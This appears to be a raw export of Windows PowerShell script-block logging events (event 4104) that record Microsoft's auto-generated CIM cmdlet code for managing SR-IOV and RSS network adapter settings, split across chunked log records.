${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
ScriptBlock ID: eb71f1c8-4309-40b6-8c3e-ee4226073556
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1873 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0000-02ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterSriovSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterSriov
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterSriovSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterSriov.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterSriov' -Alias '*'
function Set-NetAdapterSriov
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterSriovSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterSriovSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Vf')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint32]
${NumVFs},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NumVFs')) {
[object]$__cmdletization_value = ${NumVFs}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumVFs'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumVFs'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterSriov.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterSriov' -Alias '*'
function Enable-NetAdapterSriov
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescri
ScriptBlock ID: eb71f1c8-4309-40b6-8c3e-ee4226073556
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1872 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0000-02ee-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
undParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRss.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterRss' -Alias '*'
function Disable-NetAdapterRss
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRssSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRss.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterRss' -Alias '*'
ScriptBlock ID: 18d001a2-2586-466d-bceb-fb2a067c8b51
